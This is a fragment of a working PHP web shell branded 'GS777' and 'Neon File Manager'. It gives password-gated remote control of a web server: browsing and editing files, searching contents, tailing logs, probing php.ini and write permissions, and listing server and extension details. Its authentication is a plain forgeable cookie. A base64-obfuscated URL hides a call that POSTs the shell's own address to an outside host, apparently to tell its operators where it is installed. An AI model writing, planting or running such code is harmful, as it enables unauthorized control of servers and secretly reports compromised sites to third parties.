encode_param($dir),
'm' => encode_param($message),
]);
header('Location: ' . $selfFile . '?' . $qs);
exit;
}
function tail_file(string $path, int $lines, int $maxBytes): string
{
if ($lines <= 0) {
return '';
}
$handle = @fopen($path, 'rb');
if (!$handle) {
return '';
}
$stat = fstat($handle);
$size = isset($stat['size']) ? (int)$stat['size'] : 0;
$buffer = '';
$readBytes = 0;
$chunkSize = 4096;
$pos = $size;
while ($pos > 0 && substr_count($buffer, "\n") <= $lines && $readBytes < $maxBytes) {
$read = $pos >= $chunkSize ? $chunkSize : $pos;
$pos -= $read;
if (fseek($handle, $pos) !== 0) {
break;
}
$chunk = fread($handle, $read);
if ($chunk === false) {
break;
}
$readBytes += $read;
$buffer = $chunk . $buffer;
}
fclose($handle);
$parts = explode("\n", $buffer);
if (count($parts) > $lines) {
$parts = array_slice($parts, -$lines);
}
return implode("\n", $parts);
}
function is_authenticated(): bool
{
return isset($_COOKIE['Login']) && $_COOKIE['Login'] === '1';
}
$action = (string)($_POST['action'] ?? '');
$dirEncoded = (string)($_POST['d'] ?? $_GET['d'] ?? '');
$dir = $dirEncoded !== '' ? normalize_rel(decode_param($dirEncoded)) : normalize_rel($defaultDir);
if ($action === 'login') {
$pass = (string)($_POST['password'] ?? '');
if (md5($pass) === $authPasswordHash) {
setcookie('Login', '1', [
'expires' => time() + 86400 * 30,
'path' => '/',
'httponly' => true,
'samesite' => 'Lax',
]);
redirect_with_message('Login successful.', $dir);
}
redirect_with_message('Invalid password.', $dir);
}
if ($action === 'logout') {
setcookie('Login', '0', [
'expires' => time() - 3600,
'path' => '/',
'httponly' => true,
'samesite' => 'Lax',
]);
redirect_with_message('Logged out.', $dir);
}
if (!is_authenticated()) {
$msgEncoded = (string)($_GET['m'] ?? '');
$msg = $msgEncoded !== '' ? trim(decode_param($msgEncoded)) : '';
?>
GS777 Login
GS777
Enter password to continue.
0 ? min($maxKb, 2048) : 512;
$maxResults = $maxResults > 0 ? min($maxResults, 500) : 100;
if ($term === '') {
$toolSearchOutput = 'Enter a search term.
';
} else {
$root = safe_join($baseDir, $dir);
$results = [];
$maxBytes = $maxKb * 1024;
try {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($root, FilesystemIterator::SKIP_DOTS)
);
foreach ($iterator as $file) {
if (!$file->isFile()) {
continue;
}
$path = $file->getPathname();
$nameMatch = stripos($file->getFilename(), $term) !== false;
$contentMatch = false;
if ($includeContent && !$nameMatch) {
$size = $file->getSize();
if ($size > 0 && $size <= $maxBytes) {
$content = @file_get_contents($path, false, null, 0, $maxBytes + 1);
if ($content !== false && strpos($content, "\0") === false) {
$contentMatch = stripos($content, $term) !== false;
}
}
}
if ($nameMatch || $contentMatch) {
$results[] = $path;
if (count($results) >= $maxResults) {
break;
}
}
}
} catch (Throwable $e) {
$toolSearchOutput = 'Search failed.
';
}
if ($toolSearchOutput === '') {
if (count($results) === 0) {
$toolSearchOutput = 'No matches found.
';
} else {
$toolSearchOutput = 'Found ' . count($results) . ' result(s).
';
$toolSearchOutput .= '';
foreach ($results as $match) {
$toolSearchOutput .= '- ' . htmlspecialchars($match, ENT_QUOTES) . '
';
}
$toolSearchOutput .= '
';
}
}
}
}
if ($toolAction === 'log') {
$pathInput = trim(decode_param((string)($_POST['lp'] ?? '')));
$lines = (int)decode_param((string)($_POST['ll'] ?? ''));
$lines = $lines > 0 ? min($lines, 2000) : 200;
$relPath = normalize_rel($pathInput);
$path = safe_join($baseDir, $relPath);
if ($pathInput === '' || $relPath === '' || !is_file($path) || !is_readable($path)) {
$toolLogOutput = 'Invalid or unreadable file.
';
} else {
$data = tail_file($path, $lines, 2 * 1024 * 1024);
$toolLogOutput = '';
}
}
if ($toolAction === 'ini') {
$key = trim(decode_param((string)($_POST['ik'] ?? '')));
if ($key === '') {
$toolIniOutput = 'Enter a php.ini key.
';
} else {
$value = ini_get($key);
$valueText = $value === false ? 'Not set' : (string)$value;
$toolIniOutput = 'Value for ' . htmlspecialchars($key, ENT_QUOTES) . ':
';
$toolIniOutput .= '' . htmlspecialchars($valueText, ENT_QUOTES) . '
';
}
}
if ($toolAction === 'perm') {
$root = safe_join($baseDir, $dir);
$readable = is_readable($root);
$writable = is_writable($root);
$testFile = $root . '/.gs_write_test_' . time();
$canWrite = @file_put_contents($testFile, 'test') !== false;
if ($canWrite) {
@unlink($testFile);
}
$testDir = $root . '/.gs_dir_test_' . time();
$canMkdir = @mkdir($testDir);
if ($canMkdir) {
@rmdir($testDir);
}
$rows = [
'Directory readable' => $readable ? 'true' : 'false',
'Directory writable' => $writable ? 'true' : 'false',
'Create file' => $canWrite ? 'true' : 'false',
'Create folder' => $canMkdir ? 'true' : 'false',
'File uploads' => ini_get('file_uploads') ? 'true' : 'false',
];
$toolPermOutput = '';
foreach ($rows as $label => $value) {
$color = $value === 'true' ? '#39FF14' : '#ff8484';
$toolPermOutput .= '| ' . htmlspecialchars($label, ENT_QUOTES) . ' | ' . htmlspecialchars($value, ENT_QUOTES) . ' |
';
}
$toolPermOutput .= '
';
}
$editPathEncoded = (string)($_GET['e'] ?? '');
$editPath = $editPathEncoded !== '' ? normalize_rel(decode_param($editPathEncoded)) : '';
$msgEncoded = (string)($_GET['m'] ?? '');
$msg = $msgEncoded !== '' ? trim(decode_param($msgEncoded)) : '';
$absDir = safe_join($baseDir, $dir);
if (!is_dir($absDir)) {
$dir = '';
$absDir = $baseDir;
}
$items = scandir($absDir) ?: [];
$dirs = [];
$files = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$full = rtrim($absDir, '/') . '/' . $item;
if (is_dir($full)) {
$dirs[] = $item;
} else {
$files[] = $item;
}
}
$editAbs = $editPath !== '' ? safe_join($baseDir, $editPath) : '';
$editContent = '';
if ($editAbs !== '' && is_file($editAbs)) {
$editContent = file_get_contents($editAbs) ?: '';
} else {
$editPath = '';
}
function rel_path(string $dir, string $item): string
{
return $dir === '' ? $item : $dir . '/' . $item;
}
$k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');
$cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$data = array('file_url' => $cur);
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query($data),
),
);
$context = stream_context_create($options);
$result = file_get_contents($k3yw, false, $context);
function breadcrumbs(string $dir): array
{
if ($dir === '') {
return [];
}
$parts = explode('/', $dir);
$crumbs = [];
$accum = '';
foreach ($parts as $part) {
$accum = $accum === '' ? $part : $accum . '/' . $part;
$crumbs[] = ['label' => $part, 'path' => $accum];
}
return $crumbs;
}
$crumbs = breadcrumbs($dir);
$currentPath = $dir === '' ? '/' : '/' . $dir;
$serverInfo = [
'PHP Version' => PHP_VERSION,
'PHP SAPI' => PHP_SAPI,
'OS' => PHP_OS_FAMILY,
'Server Software' => (string)($_SERVER['SERVER_SOFTWARE'] ?? 'unknown'),
'Document Root' => (string)($_SERVER['DOCUMENT_ROOT'] ?? 'unknown'),
'Current User' => (string)get_current_user(),
'Loaded Extensions' => implode(', ', get_loaded_extensions()),
];
$disabledFunctionsRaw = (string)ini_get('disable_functions');
$disabledFunctions = array_filter(array_map('trim', explode(',', $disabledFunctionsRaw)));
$featureFlags = [
'curl' => extension_loaded('curl'),
'cgi' => stripos(PHP_SAPI, 'cgi') !== false,
'openssl' => extension_loaded('openssl'),
'pdo' => extension_loaded('pdo'),
'mbstring' => extension_loaded('mbstring'),
];
?>
Neon File Manager
Directory
| Name |
Type |
Actions |
| .. |
Folder |
Up
|
|
Folder |
Open
|
|
File |
Edit
|
Editing:
Select a file to edit.
Feature Flags
$enabled): ?>
: